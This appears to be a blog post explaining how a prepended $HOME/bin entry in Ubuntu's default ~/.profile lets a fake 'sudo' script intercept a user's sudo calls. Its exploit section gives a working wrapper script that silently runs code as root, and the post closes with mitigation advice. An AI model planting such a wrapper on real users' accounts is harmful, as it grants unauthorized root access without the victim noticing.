Privilege escalation in Ubuntu-based systems

Playing around with privilege escalation techniques on my Linux box, I stumbled across an interesting exploitation method that can be used to get root privileges from a regular user account on Ubuntu-based (maybe even Debian-based) systems. I am using Linux Mint for this, but I checked the latest Ubuntu distribution and the same problem appears there. Check the /etc/skel/.profile file, as it contains the default configuration for new users.

Basically, the default user on an Ubuntu machine usually has sudo rights, as it is needed to execute commands as root. You can exploit this default behaviour using the PATH environment variable of the user. The vulnerable line is in ~/.profile:

# set PATH so it includes user's private bin directories
PATH="$HOME/bin:$HOME/.local/bin:$PATH"

Similar lines are found in the latest Ubuntu distribution:

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
    PATH="$HOME/bin:$PATH"
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/.local/bin" ] ; then
    PATH="$HOME/.local/bin:$PATH"
fi

This or similar looking lines are found per default on Ubuntu machines. What happens is that a “private bin directory” is prepended to the PATH variable. This directory may not exist on your system, but you can create it and put any executable binaries in there. When you open a terminal, you can execute the binaries without giving a path, so if you created ~/bin/my-awesome-script.sh and made it executable (with chmod),  you can just enter it into the terminal and it will get executed:

$ my-awesome-script.sh
Hello, I am your awesome script!

The PATH variable defines the directories where to look for binaries when entering commands into the terminal. The order is defined by the order of the directories, so if PATH is

$ echo $PATH
/home/user/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:...

the first directory to be searched is /home/user/bin, then /usr/local/sbin and so on.
This may be useful in some cases, but creates a significant hole in your system that can be exploited.

Exploit example

Imagine you get access to the home directory of a user. Maybe you found an unprotected home folder on a server (remote access), or your co-worker left his or her computer unlocked (local access). In any case, you do not know the password of the user, and you have no root privileges.

Create a file named sudo and put it in $HOME/bin with the following content:

#!/bin/bash
[ "$UID" -eq 0 ] || exec /usr/bin/sudo bash "$0" "$@"
id
/usr/bin/sudo $@

This scripts first checks for root privileges, asks for them if none are given, then executes the id command and finally passes the given parameters to the real sudo command, such that the user does not notice any difference during execution. By executing

chmod +x ~/bin/sudo

you can make the script executable. Now, whenever the actual user executes a command with sudo:

$ sudo ls -a /root
[sudo] password for user:
uid=0(root) gid=0(root) gruppi=0(root)
.bashrc  .bash_history  .cache  .profile

You can see that the id command was executed as root. This means that your personal executable was called, not the system’s sudo binary! Now you can do code execution as root and still hide from the user, only needing to wait until the user uses the command.

Prevention

If you do not need private binaries, just remove the above lines from your .profile file. If you make use of the feature, change the above line to the following:

PATH="$PATH:$HOME/bin:$HOME/.local/bin"

This appends the directories to the end of the PATH list, which prevents malicious attackers to replace or override system commands such as sudo.